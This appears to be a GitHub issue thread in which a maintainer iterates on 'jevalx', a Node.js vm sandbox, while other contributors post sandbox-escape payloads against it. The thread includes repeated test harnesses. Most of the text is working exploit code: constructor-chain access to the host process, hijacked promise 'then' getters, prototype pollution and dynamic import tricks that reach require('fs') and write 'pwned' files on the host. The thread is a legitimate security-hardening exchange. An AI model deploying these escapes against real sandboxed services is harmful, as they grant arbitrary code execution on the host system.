new Proxy((_) => _, {
get: new Proxy((_) => _, {
apply: function (target, thisArg, args) {
args.constructor
.constructor("return process")()
?.mainModule.require("fs")
.writeFileSync("pwned_case_g", "");
},
}),
});`
try{
console.log('GGGG result=',await jevalx(code));
}catch(ex){
console.log('GGGG ex=',typeof ex,ex);
}
console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
return new Promise(executor).then(() => {
hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
});
}
`
try{
console.log('HHHH result=',await jevalx(code));
}catch(ex){
console.log('HHHH ex=',typeof ex,ex);
}
console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
var global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
if (global.process) {
global.process.mainModule.require("fs").writeFileSync("pwned_case_i", "");
promise.__proto__.then = oldThen;
}
return oldThen.apply(this, arguments);
};
1
`
try{
console.log('IIII result=',await jevalx(code));
}catch(ex){
console.log('IIII ex=',typeof ex,ex);
}
console.log('IIII check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_j', ''))")
`
try{
console.log('JJJJ result=',await jevalx(code));
}catch(ex){
console.log('JJJJ ex=',typeof ex,ex);
}
console.log('JJJJ check=',typeof(process),typeof(Promise));
}).then(async()=>{
//basic normal case:
console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));
//console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
console.log('check process',await jevalx('[].constructor.constructor("return typeof(process)")()'));
//console.log('check "this"',await jevalx('[this,2**3]'));
console.log('ZZZ final check=',typeof(process),typeof(Promise));
console.log(Promise);
console.log(Promise.prototype);
console.log(Proxy);
console.log(Error);
console.log('--------- TEST END -----------');
});
Reflect.defineProperty(Function.prototype, 'then', {
get() {
this();
}
});
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
these two Reflect/Function are suppose to be easy, as they should not be in sandbox. Will band them too. Update code soon @XmiliaH
@XmiliaH done with test K and L.
BTW, is it possible to inject Function.prototype?
const setTimeoutWtf=setTimeout,processWtf=typeof(process)=='undefined'?undefined:process,PromiseWtf=Promise,ProxyWtf=Proxy,ErrorWtf=Error;
const PromiseWtf_prototype_then = PromiseWtf.prototype.then;//
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require','Reflect','Function'],vm=require('node:vm'))=>{
let Wtf={};
for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
//inspired by @j4k0xb, we set the mine before the enenies:
let the_process;
try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
delete Promise;delete Error;delete Proxy;delete process;delete Reflect;delete Function;
let rst,err,evil=false;
try{
rst = await new PromiseWtf(async(r,j)=>{
try{
rst = vm.createScript('delete eval;delete Promise;delete Error;delete Proxy;delete Reflect;delete Function;'+//NOTES: works until new spoil case.
js,{importModuleDynamically(specifier, referrer, importAttributes){evil=true;globalThis['process'] = undefined}
}).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
if (evil){ return j({message:'EvilImport',js}) }
if(rst==globalThis) rst = {message:'EvilGlobal',js};
let typeof_rst = typeof(rst);
if ('function'==typeof_rst){ rst = rst() }
//inspired by @XmiliaH: .then is vulnerable:
if(rst && rst.then){ delete rst.then }
if (rst instanceof PromiseWtf) rst = await rst;
}
catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'EvilSandbox',js} }
if (err) j(err); else r(rst);
})
}catch(ex){ err = ex }
return new PromiseWtf(async(r,j)=>setTimeoutWtf(()=>{
for(var k in Wtf){globalThis[k]=Wtf[k]};
Promise=PromiseWtf;Error=ErrorWtf;Proxy=ProxyWtf;
Promise.prototype.then = PromiseWtf_prototype_then;//dirty patch. find better way later.
if (err) j(err); else r(rst);
},1));
};
TEST CASE K and L
(async()=>{
console.log('--------- TEST START -----------');
})().then(async()=>{
let code = `async function f() {}
void (async () => {
await f();
await f();
await f();
await f();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
})();`;
try{
console.log('AAAA result=',await jevalx(code));
}catch(ex){
console.log('AAAA ex=',ex);
}
console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_b", "");
},
}
`;
try{
console.log('BBBB result=',await jevalx(code));
}catch(ex){
console.log('BBBB ex=',typeof ex,ex);
}
console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
try{
console.log('CCCC result=',await jevalx(code));
}catch(ex){
console.log('CCCC ex=',typeof ex,ex);
}
console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
try{
console.log('DDDD result=',await jevalx(code));
}catch(ex){
console.log('DDDD ex=',typeof ex,ex);
}
console.log('DDDD check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
try{
console.log('EEEE result=',await jevalx(code));
}catch(ex){
console.log('EEEE ex=',typeof ex,ex);
}
console.log('EEEE check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
({}).constructor.defineProperty(
this.constructor.constructor("return this")(),
"_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
}
)
`;
try{
console.log('FFFF result=',await jevalx(code));
}catch(ex){
console.log('FFFF ex=',typeof ex,ex);
}
console.log('FFFF check=',typeof(process),typeof(Promise));
}).then(async()=>{
//var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
//var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
var code=`
new Proxy((_) => _, {
get: new Proxy((_) => _, {
apply: function (target, thisArg, args) {
args.constructor
.constructor("return process")()
?.mainModule.require("fs")
.writeFileSync("pwned_case_g", "");
},
}),
});`
try{
console.log('GGGG result=',await jevalx(code));
}catch(ex){
console.log('GGGG ex=',typeof ex,ex);
}
console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
return new Promise(executor).then(() => {
hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
});
}
`
try{
console.log('HHHH result=',await jevalx(code));
}catch(ex){
console.log('HHHH ex=',typeof ex,ex);
}
console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
var global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
if (global.process) {
global.process.mainModule.require("fs").writeFileSync("pwned_case_i", "");
promise.__proto__.then = oldThen;
}
return oldThen.apply(this, arguments);
};
1
`
try{
console.log('IIII result=',await jevalx(code));
}catch(ex){
console.log('IIII ex=',typeof ex,ex);
}
console.log('IIII check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_j', ''))")
`
try{
console.log('JJJJ result=',await jevalx(code));
}catch(ex){
console.log('JJJJ ex=',typeof ex,ex);
}
console.log('JJJJ check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Reflect.defineProperty(Function.prototype, 'then', {
get() {
this();
}
});
`
try{
console.log('KKKK result=',await jevalx(code));
}catch(ex){
console.log('KKKK ex=',typeof ex,ex);
}
console.log('KKKK check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
`
try{
console.log('LLLL result=',await jevalx(code));
}catch(ex){
console.log('LLLL ex=',typeof ex,ex);
}
console.log('LLLL check=',typeof(process),typeof(Promise));
}).then(async()=>{
//basic normal case:
console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));
//console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
console.log('check process',await jevalx('[].constructor.constructor("return typeof(process)")()'));
//console.log('check "this"',await jevalx('[this,2**3]'));
console.log('ZZZ final check=',typeof(process),typeof(Promise));
console.log(Promise);
console.log(Promise.prototype);
console.log(Proxy);
console.log(Error);
console.log('--------- TEST END -----------');
});
Sorry, I do not get what you mean by
BTW, is it possible to inject Function.prototype?
const Function = (_=>_).constructor;
Object.defineProperty(Function.prototype, 'then', {
get() {
this();
}
});
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
and
this.__proto__.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned", "")})
Great this is exactly what I mean... Let me investigate, thanks
Sorry, I do not get what you mean by
BTW, is it possible to inject Function.prototype?
const Function = (_=>_).constructor; Object.defineProperty(Function.prototype, 'then', { get() { this(); } }); Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
and
this.__proto__.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned", "")})
done with test case M and N. @XmiliaH
const setTimeoutWtf=setTimeout,processWtf=typeof(process)=='undefined'?undefined:process,PromiseWtf=Promise,ProxyWtf=Proxy,ErrorWtf=Error;
const PromiseWtf_prototype_then = PromiseWtf.prototype.then;//
const ObjectWtf = Object;//
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require','Reflect','Function'],vm=require('node:vm'))=>{
let Wtf={};
for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
//inspired by @j4k0xb, we set the mine before the enenies:
let the_process;
try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
delete Promise;delete Error;delete Proxy;delete process;delete Reflect;delete Function;
delete Object.prototype.__proto__;//
let rst,err,evil=false;
try{
rst = await new PromiseWtf(async(r,j)=>{
try{
rst = vm.createScript('delete eval;delete Promise;delete Error;delete Proxy;delete Reflect;delete Function;'+//NOTES: works until new spoil case.
js,{importModuleDynamically(specifier, referrer, importAttributes){evil=true;globalThis['process'] = undefined}
}).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
if (evil){ return j({message:'EvilImport',js}) }
if(rst==globalThis) rst = {message:'EvilGlobal',js};
let typeof_rst = typeof(rst);
//if ('function'==typeof_rst){ rst = rst() }//todo support in future
//inspired by @XmiliaH: .then is vulnerable:
if(rst && rst.then){ delete rst.then }
if (rst instanceof PromiseWtf) rst = await rst;
if ('function'==typeof rst){ rst = {message:'EvilFunction'} }
}
catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'EvilSandbox',js} }
if (err) j(err); else r(rst);
})
}catch(ex){ err = ex }
return new PromiseWtf(async(r,j)=>setTimeoutWtf(()=>{
Object = ObjectWtf;
for(var k in Wtf){globalThis[k]=Wtf[k]};
Promise=PromiseWtf;Error=ErrorWtf;Proxy=ProxyWtf;
Promise.prototype.then = PromiseWtf_prototype_then;//dirty patch. find better way later.
if (err) j(err); else r(rst);
},1));
};
TEST
(async()=>{
console.log('--------- TEST START -----------');
})().then(async()=>{
let code = `async function f() {}
void (async () => {
await f();
await f();
await f();
await f();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
})();`;
try{
console.log('AAAA result=',await jevalx(code));
}catch(ex){
console.log('AAAA ex=',ex);
}
console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_b", "");
},
}
`;
try{
console.log('BBBB result=',await jevalx(code));
}catch(ex){
console.log('BBBB ex=',typeof ex,ex);
}
console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
try{
console.log('CCCC result=',await jevalx(code));
}catch(ex){
console.log('CCCC ex=',typeof ex,ex);
}
console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
try{
console.log('DDDD result=',await jevalx(code));
}catch(ex){
console.log('DDDD ex=',typeof ex,ex);
}
console.log('DDDD check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
try{
console.log('EEEE result=',await jevalx(code));
}catch(ex){
console.log('EEEE ex=',typeof ex,ex);
}
console.log('EEEE check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
({}).constructor.defineProperty(
this.constructor.constructor("return this")(),
"_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
}
)
`;
try{
console.log('FFFF result=',await jevalx(code));
}catch(ex){
console.log('FFFF ex=',typeof ex,ex);
}
console.log('FFFF check=',typeof(process),typeof(Promise));
}).then(async()=>{
//var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
//var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
var code=`
new Proxy((_) => _, {
get: new Proxy((_) => _, {
apply: function (target, thisArg, args) {
args.constructor
.constructor("return process")()
?.mainModule.require("fs")
.writeFileSync("pwned_case_g", "");
},
}),
});`
try{
console.log('GGGG result=',await jevalx(code));
}catch(ex){
console.log('GGGG ex=',typeof ex,ex);
}
console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
return new Promise(executor).then(() => {
hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
});
}
`
try{
console.log('HHHH result=',await jevalx(code));
}catch(ex){
console.log('HHHH ex=',typeof ex,ex);
}
console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
var global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
if (global.process) {
global.process.mainModule.require("fs").writeFileSync("pwned_case_i", "");
promise.__proto__.then = oldThen;
}
return oldThen.apply(this, arguments);
};
1
`
try{
console.log('IIII result=',await jevalx(code));
}catch(ex){
console.log('IIII ex=',typeof ex,ex);
}
console.log('IIII check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_j', ''))")
`
try{
console.log('JJJJ result=',await jevalx(code));
}catch(ex){
console.log('JJJJ ex=',typeof ex,ex);
}
console.log('JJJJ check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Reflect.defineProperty(Function.prototype, 'then', {
get() {
this();
}
});
`
try{
console.log('KKKK result=',await jevalx(code));
}catch(ex){
console.log('KKKK ex=',typeof ex,ex);
}
console.log('KKKK check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
`
try{
console.log('LLLL result=',await jevalx(code));
}catch(ex){
console.log('LLLL ex=',typeof ex,ex);
}
console.log('LLLL check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const Function = (_=>_).constructor;
Object.defineProperty(Function.prototype, 'then', { get() { this(); } });
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_m', ''))")
`
try{
console.log('MMMM result=',await jevalx(code));
}catch(ex){
console.log('MMMM ex=',typeof ex,ex);
}
console.log('MMMM check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
this.__proto__.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned_case_n","") })
`
try{
console.log('NNNN result=',await jevalx(code));
}catch(ex){
console.log('NNNN ex=',typeof ex,ex);
}
console.log('NNNN check=',typeof(process),typeof(Promise));
}).then(async()=>{
//basic normal case:
console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));
//console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
console.log('check process',await jevalx('[].constructor.constructor("return typeof(process)")()'));
//console.log('check "this"',await jevalx('[this,2**3]'));
console.log('ZZZ final check=',typeof(process),typeof(Promise));
console.log(Promise);
console.log(Promise.prototype);
console.log(Proxy);
console.log(Error);
console.log('--------- TEST END -----------');
});
const Function = (_=>_).constructor;
const obj = {
get then() {
Object.defineProperty(this, 'then', {
get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
});
Object.setPrototypeOf(this, import('').catch(_=>_).constructor);
}
};
obj
this.constructor.prototype.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") })
done.
code:
https://github.com/wanjo-tech/vm2/blob/main/jevalx.js
test:
https://github.com/wanjo-tech/vm2/blob/main/test_jevalx.js
const Function = (_=>_).constructor; const obj = { get then() { Object.defineProperty(this, 'then', { get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))") }); Object.setPrototypeOf(this, import('').catch(_=>_).constructor); } }; obj
this.constructor.prototype.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") })
Object.getPrototypeOf(Object.getPrototypeOf(import('').catch(_=>_))).__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") })
and
const Function = (_=>_).constructor;
const proto = {};
Object.defineProperty(proto, 'then', {
get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
});
const obj = {
__proto__: proto
};
obj
const Function = (_=>_).constructor;
const proto = {};
proto.__defineGetter__('then', Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))"));
const obj = {
__proto__: proto
};
obj
done, updated case q3.
const Function = (_=>_).constructor;
const proto = {};
Object.defineProperties(proto, {then: {get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")}});
const obj = {
__proto__: proto
};
obj
done, case q4.
please keep posting, I'll try to fix all if any tomorrow, my sleep time came.. see ya
const Function = (_=>_).constructor; const proto = {}; Object.defineProperties(proto, {then: {get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")}}); const obj = { __proto__: proto }; obj
let u = false;
function t(o, e) {
import('').then(_=>_, _=>_).then.constructor('return process')()?.mainModule.require("fs").writeFileSync("pwned","");
u = true;
o(this);
}
const obj = {__proto__: {
get then(){
if (u) {
u = false;
return undefined;
}
return t;
}
}};
obj
done. test case q5
let u = false; function t(o, e) { import('').then(_=>_, _=>_).then.constructor('return process')()?.mainModule.require("fs").writeFileSync("pwned",""); u = true; o(this); } const obj = {__proto__: { get then(){ if (u) { u = false; return undefined; } return t; } }}; obj
With a small change my last attack still works. When writing and maintaining a sandbox it is cruial to understand the attacks and how they work. Since it seems to me that until now the fixes only try to prevent the specific posted version of a problem. I will this time not give the new version but challenge you to find and fix it.
Understood, I'll try to find and fix it. In the mean while I'll try to add more test case and do the code clean-up
With a small change my last attack still works. When writing and maintaining a sandbox it is cruial to understand the attacks and how they work. Since it seems to me that until now the fixes only try to prevent the specific posted version of a problem. I will this time not give the new version but challenge you to find and fix it.
@XmiliaH I added test case q6 and q7. hopefully the checking to the .proto can be defined now. would you have a review only when you are free and still willing to continue
You can either delete Object.prototype.__proto__
in the sandbox or set it in the object literal {__proto__: ..., ["__proto__"]: undefined}
Got it! thanks very much!!!
the proto is checked, currently all cases seems clean?
When you have time, would please help to check? @XmiliaH
because I think if all the concepts should be proved... then it can be a tmp solution for the small sandbox usage...
This still works:
let delay = 3;
function t(o, e) {
import('').then(_=>_, _=>_).then.constructor('return process')()?.mainModule.require("fs").writeFileSync("pwned","");
o(this);
}
const obj = {__proto__: { __proto__: {
get then(){
if (delay-->0) return undefined;
return t;
}
}}};
obj
introduced a findThenGetter() to detect in the hack in proto-chain.
It seems working good now!! thank you again! @XmiliaH
hope @j4k0xb have time to join the game, just want the thing finally works!
This still works:
let delay = 3; function t(o, e) { import('').then(_=>_, _=>_).then.constructor('return process')()?.mainModule.require("fs").writeFileSync("pwned",""); o(this); } const obj = {__proto__: { __proto__: { get then(){ if (delay-->0) return undefined; return t; } }}}; obj
let delay = 2;
function t(o, e) {
import('').then(_=>_, _=>_).then.constructor('return process')()?.mainModule.require("fs").writeFileSync("pwned","");
o(this);
}
let obj = {__proto__: {
get then(){
if (delay-->0) return undefined;
return t;
}
}};
for(let i=0; i<9; i++) {const ret=obj;obj=()=>ret;}
obj
you are right, a ground check after for-loop is added
Old things start to work again:
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
const global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
if (global.process) {
global.process.mainModule.require("fs").writeFileSync("pwned", "");
promise.__proto__.then = oldThen;
}
return oldThen.apply(this, arguments);
};
false
and
(_=>_).constructor.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
both done (case I2 and J2). especially for the "function" now run again inside the sandbox, problem solved.
Old things start to work again:
const promise = import('').catch(_=>_); const oldThen = promise.__proto__.then; const global = oldThen.constructor('return this')(); promise.__proto__.then = function() { if (global.process) { global.process.mainModule.require("fs").writeFileSync("pwned", ""); promise.__proto__.then = oldThen; } return oldThen.apply(this, arguments); }; false
and
(_=>_).constructor.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
const O = constructor;
O.defineProperty(O.prototype, 'XXX', {get(){
this.process.mainModule.require("fs").writeFileSync("pwned", "");
}, enumerable: true});
false
and
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
const global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
if (global.process) {
global.process.mainModule.require("fs").writeFileSync("pwned", "");
}
return oldThen.apply(this, arguments);
};
Object.freeze(promise.__proto__);
false
Oh I see what happened, thanks! Will fix few hours later
const O = constructor; O.defineProperty(O.prototype, 'XXX', {get(){ this.process.mainModule.require("fs").writeFileSync("pwned", ""); }, enumerable: true}); false
and
const promise = import('').catch(_=>_); const oldThen = promise.__proto__.then; const global = oldThen.constructor('return this')(); promise.__proto__.then = function() { if (global.process) { global.process.mainModule.require("fs").writeFileSync("pwned", ""); } return oldThen.apply(this, arguments); }; Object.freeze(promise.__proto__); false
fixed. added few changes: ) run the 'function' inside the sandbox again to protect ) add a timeout handling to the awaitable *) release Promise out ( because still want the sandbox have the Promise, until new unsolvable case came....)
currently all test cases passed as expected.
this.constructor.__defineSetter__('freeze', f=>f.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""));
false